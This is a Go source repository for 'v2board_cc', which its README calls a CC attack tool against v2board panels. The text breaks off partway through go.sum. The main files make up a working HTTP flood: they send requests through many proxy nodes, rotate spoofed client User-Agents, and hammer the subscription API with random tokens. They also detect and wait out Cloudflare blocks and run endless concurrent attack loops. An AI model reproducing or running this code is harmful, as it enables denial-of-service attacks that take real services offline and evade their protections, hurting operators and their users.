├── README.md ├── config.yaml.example ├── .gitignore ├── proxies.yaml.example ├── go.mod ├── .github └── workflows │ └── release.yml ├── utils ├── model.go ├── urltest.go └── ccattack.go ├── LICENSE ├── .goreleaser.yml ├── config └── config.go ├── main.go └── go.sum /README.md: -------------------------------------------------------------------------------- 1 | # v2board_cc 2 | 3 | ## A CC attack tool used for v2board. 4 | -------------------------------------------------------------------------------- /config.yaml.example: -------------------------------------------------------------------------------- 1 | v2BoardDomain: YOUR_DOMAIN 2 | originIP: https://YOUR_DOMAIN.COM 3 | connections: 128 4 | filterNode: false -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | *.iml 3 | out 4 | gen 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | *.test 11 | *.out 12 | *.yaml 13 | test.go 14 | -------------------------------------------------------------------------------- /proxies.yaml.example: -------------------------------------------------------------------------------- 1 | INPUT THE PROXY LIST OF CLASH. 2 | FOR EXAMPLE: 3 | ------------------------------ 4 | proxies: 5 | - { name: PROXY, type: trojan, server: EXAMPLE.COM, port: 10086, password: XXXXXXXX, udp: true, sni: XXXXXXX, skip-cert-verify: true } 6 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thank243/v2board_cc 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/Dreamacro/clash v1.9.1-0.20220118053247-cfe7354c07e8 7 | github.com/go-resty/resty/v2 v2.7.0 8 | github.com/gofrs/uuid v4.2.0+incompatible 9 | github.com/google/uuid v1.3.0 10 | github.com/panjf2000/ants/v2 v2.4.7 11 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b 12 | ) 13 | 14 | require ( 15 | github.com/Dreamacro/go-shadowsocks2 v0.1.7 // indirect 16 | github.com/gorilla/websocket v1.5.0 // indirect 17 | github.com/kr/pretty v0.1.0 // indirect 18 | github.com/sirupsen/logrus v1.8.1 // indirect 19 | go.uber.org/atomic v1.9.0 // indirect 20 | golang.org/x/crypto v0.1.0 // indirect 21 | golang.org/x/net v0.1.0 // indirect 22 | golang.org/x/sys v0.1.0 // indirect 23 | golang.org/x/text v0.4.0 // indirect 24 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 // indirect 25 | ) 26 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | on: 2 | create: 3 | tags: 4 | - v* 5 | 6 | permissions: 7 | contents: write 8 | 9 | jobs: 10 | goreleaser: 11 | runs-on: ubuntu-latest 12 | steps: 13 | - name: Checkout 14 | uses: actions/checkout@v2 15 | with: 16 | fetch-depth: 0 17 | - name: Set up Go 18 | uses: actions/setup-go@v2 19 | with: 20 | go-version: 1.17 21 | - name: Run GoReleaser 22 | uses: goreleaser/goreleaser-action@v2 23 | with: 24 | # either 'goreleaser' (default) or 'goreleaser-pro' 25 | distribution: goreleaser 26 | version: latest 27 | args: release --rm-dist 28 | env: 29 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 30 | # Your GoReleaser Pro key, if you are using the 'goreleaser-pro' distribution 31 | # GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }} 32 | -------------------------------------------------------------------------------- /utils/model.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "time" 7 | ) 8 | 9 | type UserAgent struct { 10 | ID int 11 | UA string 12 | BannedCounts int 13 | } 14 | 15 | func init() { 16 | rand.Seed(time.Now().UnixNano()) 17 | } 18 | 19 | func GetRandUA() []UserAgent { 20 | v := rand.Intn(100) 21 | UAList := []UserAgent{ 22 | {ID: 0, UA: fmt.Sprintf("ClashX Pro/1.%d.0.2 (com.west2online.ClashXPro; build:1.%d.0.2; macOS 10.13.6) Alamofire/5.4.4", v, v)}, 23 | {ID: 1, UA: fmt.Sprintf("ClashX/1.%d.0 (com.west2online.ClashX; build:1.%d.0; macOS 12.1.0) Alamofire/5.4.4", v, v)}, 24 | {ID: 2, UA: fmt.Sprintf("ClashforWindows/0.%d.%d", rand.Intn(19)+1, rand.Intn(10))}, 25 | {ID: 3, UA: fmt.Sprintf("ClashForAndroid/2.%d.%d.premium", rand.Intn(6), rand.Intn(10))}, 26 | {ID: 4, UA: fmt.Sprintf("Shadowrocket/%d CFNetwork/%d.0.4 Darwin/%d.2.0", rand.Intn(1000)+1000, rand.Intn(1000)+1000, rand.Intn(21))}, 27 | {ID: 5, UA: ""}, 28 | } 29 | return UAList 30 | } 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 thank243 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /utils/urltest.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "context" 5 | "net" 6 | "net/http" 7 | "net/url" 8 | "time" 9 | 10 | C "github.com/Dreamacro/clash/constant" 11 | "github.com/go-resty/resty/v2" 12 | ) 13 | 14 | func URLTest(p *Nodes) (aliveProxies Nodes, err error) { 15 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) 16 | defer cancel() 17 | 18 | baseURL, err := url.Parse("http://www.gstatic.com/generate_204") 19 | if err != nil { 20 | return 21 | } 22 | 23 | addr, err := urlToMetadata(baseURL.String()) 24 | if err != nil { 25 | return 26 | } 27 | 28 | instance, err := p.DialContext(ctx, &addr) 29 | if err != nil { 30 | return 31 | } 32 | defer func(instance C.Conn) { 33 | err = instance.Close() 34 | if err != nil { 35 | return 36 | } 37 | }(instance) 38 | 39 | transport := &http.Transport{DialContext: func(context.Context, string, string) (net.Conn, error) { return instance, nil }} 40 | 41 | resp, err := resty.New(). 42 | SetTransport(transport). 43 | R().SetContext(ctx).Head(baseURL.String()) 44 | 45 | if resp.StatusCode() == 204 { 46 | aliveProxies = *p 47 | } 48 | return 49 | } 50 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | before: 2 | hooks: 3 | # You may remove this if you don't use go modules. 4 | - go mod tidy -compat=1.17 5 | # you may remove this if you don't need go generate 6 | - go generate ./... 7 | builds: 8 | - env: 9 | - CGO_ENABLED=0 10 | goos: 11 | - linux 12 | - windows 13 | - darwin 14 | # ldflags: 15 | # - -X 'github.com/Dreamacro/clash/constant.Version={{ .Version }}' 16 | # - -X 'github.com/Dreamacro/clash/constant.BuildTime={{ .Date }}' 17 | flags: 18 | - -trimpath 19 | archives: 20 | - replacements: 21 | darwin: Darwin 22 | linux: Linux 23 | windows: Windows 24 | 386: i386 25 | amd64: x86_64 26 | wrap_in_directory: true 27 | files: 28 | - config.yaml.example 29 | - proxies.yaml.example 30 | - README.md 31 | - LICENSE 32 | - src: dist/CHANGELOG.md 33 | dst: . 34 | strip_parent: true 35 | - src: v2board_cc* 36 | info: 37 | owner: root 38 | group: root 39 | mode: 0755 40 | checksum: 41 | name_template: 'checksums.txt' 42 | snapshot: 43 | name_template: "{{ incpatch .Version }}-next" 44 | changelog: 45 | sort: asc 46 | filters: 47 | exclude: 48 | - '^docs:' 49 | - '^test:' 50 | -------------------------------------------------------------------------------- /config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "strings" 7 | 8 | "github.com/Dreamacro/clash/adapter" 9 | C "github.com/Dreamacro/clash/constant" 10 | "github.com/gofrs/uuid" 11 | "gopkg.in/yaml.v3" 12 | ) 13 | 14 | type RawConfig struct { 15 | Proxy []map[string]interface{} `yaml:"proxies"` 16 | } 17 | 18 | type CFG struct { 19 | V2boardDomain string `yaml:"v2BoardDomain"` 20 | OriginIP string `yaml:"originIP"` 21 | Connections int `yaml:"connections"` 22 | FilterNode bool `yaml:"filterNode"` 23 | } 24 | 25 | var Cfg CFG 26 | 27 | func init() { 28 | f, err := ioutil.ReadFile("config.yaml") 29 | if err != nil { 30 | fmt.Println(err) 31 | return 32 | } 33 | 34 | err = yaml.Unmarshal(f, &Cfg) 35 | if err != nil { 36 | fmt.Println(err) 37 | return 38 | } 39 | } 40 | 41 | func UnmarshalRawConfig(buf []byte) (*RawConfig, error) { 42 | rawCfg := &RawConfig{} 43 | if err := yaml.Unmarshal(buf, rawCfg); err != nil { 44 | return nil, err 45 | } 46 | return rawCfg, nil 47 | } 48 | 49 | func ParseProxies(cfg *RawConfig) (proxies map[string]C.Proxy, err error) { 50 | proxies = make(map[string]C.Proxy) 51 | proxiesConfig := cfg.Proxy 52 | for _, mapping := range proxiesConfig { 53 | proxy, err := adapter.ParseProxy(mapping) 54 | if err != nil { 55 | continue 56 | } 57 | if _, exist := proxies[proxy.Name()]; exist { 58 | u4, _ := uuid.NewV4() 59 | proxies[fmt.Sprintf("%s[%s]", proxy.Name(), strings.ReplaceAll(u4.String(), "-", ""))] = proxy 60 | continue 61 | } 62 | proxies[proxy.Name()] = proxy 63 | } 64 | fmt.Printf("total nodes: %d", len(proxies)) 65 | return 66 | } 67 | -------------------------------------------------------------------------------- /utils/ccattack.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "context" 5 | "crypto/tls" 6 | "encoding/json" 7 | "fmt" 8 | "github.com/google/uuid" 9 | "net" 10 | "net/http" 11 | "net/url" 12 | "strings" 13 | "time" 14 | 15 | C "github.com/Dreamacro/clash/constant" 16 | "github.com/go-resty/resty/v2" 17 | 18 | "github.com/thank243/v2board_cc/config" 19 | ) 20 | 21 | type Nodes struct { 22 | C.Proxy 23 | CFCheck bool 24 | } 25 | 26 | func urlToMetadata(rawURL string) (addr C.Metadata, err error) { 27 | u, err := url.Parse(rawURL) 28 | if err != nil { 29 | return 30 | } 31 | 32 | port := u.Port() 33 | if port == "" { 34 | switch u.Scheme { 35 | case "https": 36 | port = "443" 37 | case "http": 38 | port = "80" 39 | default: 40 | err = fmt.Errorf("%s scheme not Support", rawURL) 41 | return 42 | } 43 | } 44 | 45 | addr = C.Metadata{ 46 | AddrType: C.AtypDomainName, 47 | Host: u.Hostname(), 48 | DstIP: nil, 49 | DstPort: port, 50 | } 51 | return 52 | } 53 | 54 | func CCAttack(p *Nodes, counts *int, res *resty.Response, ua *UserAgent) (err error) { 55 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) 56 | defer cancel() 57 | 58 | baseURL, err := url.Parse(config.Cfg.OriginIP) 59 | if err != nil { 60 | return 61 | } 62 | baseURL.Path = "api/v1/client/subscribe" 63 | params := url.Values{} 64 | params.Add("token", strings.ReplaceAll(uuid.New().String(), "-", "")) 65 | baseURL.RawQuery = params.Encode() 66 | 67 | addr, err := urlToMetadata(baseURL.String()) 68 | if err != nil { 69 | return 70 | } 71 | 72 | instance, err := p.DialContext(ctx, &addr) 73 | if err != nil { 74 | return 75 | } 76 | defer func(instance C.Conn) { 77 | err = instance.Close() 78 | if err != nil { 79 | return 80 | } 81 | }(instance) 82 | 83 | transport := &http.Transport{DialContext: func(context.Context, string, string) (net.Conn, error) { return instance, nil }} 84 | 85 | resp, err := resty.New(). 86 | SetTransport(transport).SetTLSClientConfig(&tls.Config{ServerName: config.Cfg.V2boardDomain}). 87 | R().SetHeaders(map[string]string{ 88 | "User-Agent": ua.UA, 89 | "Host": config.Cfg.V2boardDomain, 90 | }). 91 | SetContext(ctx).Get(baseURL.String()) 92 | *counts++ 93 | res = resp 94 | 95 | var buf map[string]interface{} 96 | _ = json.Unmarshal(resp.Body(), &buf) 97 | switch { 98 | case buf["data"] != nil: 99 | fmt.Printf("\n[%d] %d", *counts, resp.StatusCode()) 100 | 101 | case buf["message"] != nil: 102 | fmt.Printf("\n[%d] %d %s [%s]", *counts, resp.StatusCode(), buf["message"], resp.Request.Header.Get("User-Agent")) 103 | 104 | case strings.Contains(resp.String(), "cloudflare") || strings.Contains(resp.String(), "error code:"): 105 | p.CFCheck = true 106 | ua.BannedCounts++ 107 | 108 | case err == nil: 109 | fmt.Printf("\n[%d] %s", *counts, resp.Status()) 110 | } 111 | return 112 | } 113 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/go-resty/resty/v2" 6 | "io/ioutil" 7 | "sync" 8 | "time" 9 | 10 | "github.com/panjf2000/ants/v2" 11 | 12 | "github.com/thank243/v2board_cc/config" 13 | "github.com/thank243/v2board_cc/utils" 14 | ) 15 | 16 | func main() { 17 | var wg sync.WaitGroup 18 | buf, err := ioutil.ReadFile("proxies.yaml") 19 | if err != nil { 20 | fmt.Println(err) 21 | return 22 | } 23 | r, err := config.UnmarshalRawConfig(buf) 24 | if err != nil { 25 | fmt.Println(err) 26 | } 27 | pMaps, err := config.ParseProxies(r) 28 | if err != nil { 29 | fmt.Println(err) 30 | } 31 | 32 | var PList []utils.Nodes 33 | for _, v := range pMaps { 34 | PList = append(PList, utils.Nodes{Proxy: v}) 35 | } 36 | 37 | counts := 0 38 | var ( 39 | alivePlist []utils.Nodes 40 | resp resty.Response 41 | ) 42 | 43 | switch config.Cfg.FilterNode { 44 | case true: 45 | var current *int 46 | go func() { 47 | for { 48 | if current != nil { 49 | fmt.Printf("\rFilter Processing: %.2f%%", float32(*current*100)/float32(len(PList))) 50 | if *current == len(PList)-1 { 51 | break 52 | } 53 | time.Sleep(5 * time.Second) 54 | } 55 | } 56 | }() 57 | 58 | var wg sync.WaitGroup 59 | pool, _ := ants.NewPoolWithFunc(config.Cfg.Connections, func(i interface{}) { 60 | p := i.(utils.Nodes) 61 | aliveP, _ := utils.URLTest(&p) 62 | if aliveP.Proxy != nil { 63 | alivePlist = append(alivePlist, aliveP) 64 | } 65 | wg.Done() 66 | }) 67 | 68 | //initial alive proxies 69 | fmt.Printf("\nFiltering alive nodes\n") 70 | for i, p := range PList { 71 | current = &i 72 | wg.Add(1) 73 | err = pool.Invoke(p) 74 | if err != nil { 75 | fmt.Println(err.Error()) 76 | } 77 | } 78 | wg.Wait() 79 | pool.Release() 80 | fmt.Printf("\nFilter Nodes: %d", len(alivePlist)) 81 | default: 82 | alivePlist = PList 83 | } 84 | 85 | UAList := utils.GetRandUA() 86 | minBanned := 0 87 | go func() { 88 | for { 89 | wg.Add(1) 90 | fmt.Printf("\nRefresh User-Agent.") 91 | 92 | for k, val := range UAList { 93 | if val.BannedCounts < UAList[minBanned].BannedCounts { 94 | minBanned = k 95 | } 96 | } 97 | UAList[minBanned] = utils.UserAgent{ID: minBanned, UA: utils.GetRandUA()[minBanned].UA, BannedCounts: UAList[minBanned].BannedCounts} 98 | wg.Done() 99 | time.Sleep(10 * time.Second) 100 | } 101 | }() 102 | wg.Wait() 103 | 104 | pool, _ := ants.NewPoolWithFunc(config.Cfg.Connections, func(i interface{}) { 105 | p := i.(int) 106 | _ = utils.CCAttack(&alivePlist[p], &counts, &resp, &UAList[minBanned]) 107 | wg.Done() 108 | }) 109 | defer pool.Release() 110 | 111 | //monitor status 112 | go func() { 113 | for { 114 | i := 0 115 | for _, v := range alivePlist { 116 | if !v.CFCheck { 117 | i++ 118 | } 119 | } 120 | fmt.Printf("\nTotal attack: %d [(%d/%d) nodes] - Current connection: %d - StatusCode: %d", counts, i, len(alivePlist), pool.Running(), resp.StatusCode()) 121 | time.Sleep(30 * time.Second) 122 | } 123 | }() 124 | 125 | go func() { 126 | for { 127 | fmt.Printf("\nReset cloudflare status.") 128 | for i := range alivePlist { 129 | alivePlist[i].CFCheck = false 130 | } 131 | time.Sleep(300 * time.Second) 132 | } 133 | }() 134 | 135 | for { 136 | switch { 137 | case len(alivePlist) > 0: 138 | for i, v := range alivePlist { 139 | if !v.CFCheck { 140 | wg.Add(1) 141 | _ = pool.Invoke(i) 142 | } 143 | } 144 | default: 145 | time.Sleep(5 * time.Second) 146 | } 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Dreamacro/clash v1.9.1-0.20220118053247-cfe7354c07e8 h1:ahgn+NKD7POhJ6ir5xRNL5CPOOUOnb58hnD4doutn3k= 2 | github.com/Dreamacro/clash v1.9.1-0.20220118053247-cfe7354c07e8/go.mod h1:vOzDB9KKD/PirNdSlsH4soMl1xF5lk8SwNQiVY5UacE= 3 | github.com/Dreamacro/go-shadowsocks2 v0.1.7 h1:8CtbE1HoPPMfrQZGXmlluq6dO2lL31W6WRRE8fabc4Q= 4 | github.com/Dreamacro/go-shadowsocks2 v0.1.7/go.mod h1:8p5G4cAj5ZlXwUR+Ww63gfSikr8kvw8uw3TDwLAJpUc= 5 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/fanliao/go-promise v0.0.0-20141029170127-1890db352a72/go.mod h1:PjfxuH4FZdUyfMdtBio2lsRr1AKEaVPwelzuHuh8Lqc= 9 | github.com/go-chi/chi/v5 v5.0.7/go.mod h1:DslCQbL2OYiznFReuXYUmQ2hGd1aDpCnlMNITLSKoi8= 10 | github.com/go-chi/cors v1.2.0/go.mod h1:sSbTewc+6wYHBBCW7ytsFSn836hqM7JxpglAy2Vzc58= 11 | github.com/go-chi/render v1.0.1/go.mod h1:pq4Rr7HbnsdaeHagklXub+p6Wd16Af5l9koip1OvJns= 12 | github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY= 13 | github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I= 14 | github.com/gofrs/uuid v4.2.0+incompatible h1:yyYWMnhkhrKwwr8gAOcOCYxOOscHgDS9yZgBrnJfGa0= 15 | github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= 16 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 17 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 18 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 19 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 20 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 21 | github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= 22 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 23 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= 24 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 25 | github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= 26 | github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 27 | github.com/hugelgupf/socketpair v0.0.0-20190730060125-05d35a94e714/go.mod h1:2Goc3h8EklBH5mspfHFxBnEoURQCGzQQH1ga9Myjvis= 28 | github.com/insomniacslk/dhcp v0.0.0-20211214070828-5297eed8f489/go.mod h1:h+MxyHxRg9NH3terB1nfRIUaQEcI0XOVkdR9LNBlp8E= 29 | github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw= 30 | github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ= 31 | github.com/jsimonetti/rtnetlink v0.0.0-20201009170750-9c6f07d100c1/go.mod h1:hqoO/u39cqLeBLebZ8fWdE96O7FxrAsRYhnVOdgHxok= 32 | github.com/jsimonetti/rtnetlink v0.0.0-20201110080708-d2c240429e6c/go.mod h1:huN4d1phzjhlOsNIjFsw2SVRbwIHj3fJDMEU2SDPTmg= 33 | github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= 34 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 35 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 36 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 37 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 38 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 39 | github.com/mdlayher/ethernet v0.0.0-20190606142754-0394541c37b7/go.mod h1:U6ZQobyTjI/tJyq2HG+i/dfSoFUt8/aZCM+GKtmFk/Y= 40 | github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA= 41 | github.com/mdlayher/netlink v1.0.0/go.mod h1:KxeJAFOFLG6AjpyDkQ/iIhxygIUKD+vcwqcnu43w/+M= 42 | github.com/mdlayher/netlink v1.1.0/go.mod h1:H4WCitaheIsdF9yOYu8CFmCgQthAPIWZmcKp9uZHgmY= 43 | github.com/mdlayher/netlink v1.1.1/go.mod h1:WTYpFb/WTvlRJAyKhZL5/uy69TDDpHHu2VZmb2XgV7o= 44 | github.com/mdlayher/raw v0.0.0-20190606142536-fef19f00fc18/go.mod h1:7EpbotpCmVZcu+KCX4g9WaRNuu11uyhiW7+Le1dKawg= 45 | github.com/mdlayher/raw v0.0.0-20191009151244-50f2db8cc065/go.mod h1:7EpbotpCmVZcu+KCX4g9WaRNuu11uyhiW7+Le1dKawg= 46 | github.com/miekg/dns v1.1.45/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME= 47 | github.com/oschwald/geoip2-golang v1.5.0/go.mod h1:xdvYt5xQzB8ORWFqPnqMwZpCpgNagttWdoZLlJQzg7s= 48 | github.com/oschwald/maxminddb-golang v1.8.0/go.mod h1:RXZtst0N6+FY/3qCNmZMBApR19cdQj43/NM9VkrNAis= 49 | github.com/panjf2000/ants/v2 v2.4.7 h1:MZnw2JRyTJxFwtaMtUJcwE618wKD04POWk2gwwP4E2M= 50 | github.com/panjf2000/ants/v2 v2.4.7/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OIhFxRNFr4A= 51 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 52 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 53 | github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE= 54 | github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= 55 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= 56 | github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= 57 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 58 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 59 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 60 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 61 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 62 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 63 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 64 | github.com/u-root/uio v0.0.0-20210528114334-82958018845c/go.mod h1:LpEX5FO/cB+WF4TYGY1V5qktpaZLkKkSegbr0V4eYXA= 65 | github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= 66 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 67 | go.etcd.io/bbolt v1.3.6/go.mod h1:qXsaaIqmgQH0T+OPdb99Bf+PKfBBQVAdyD6TY9G8XM4= 68 | go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE= 69 | go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= 70 | go.uber.org/automaxprocs v1.4.0/go.mod h1:/mTEdr7LvHhs0v7mjdxDreTz1OG5zdZGqgOnhWiR/+Q= 71 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 72 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 73 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 74 | golang.org/x/crypto v0.0.0-20210317152858-513c2a44f670/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= 75 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 76 | golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= 77 | golang.org/x/crypto v0.1.0 h1:MDRAIl0xIo9Io2xV565hzXHw3zVseKrJKodhohM5CjU= 78 | golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= 79 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 80 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 81 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 82 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 83 | golang.org/x/net v0.0.0-20190419010253-1f3472d942ba/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 84 | golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= 85 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod 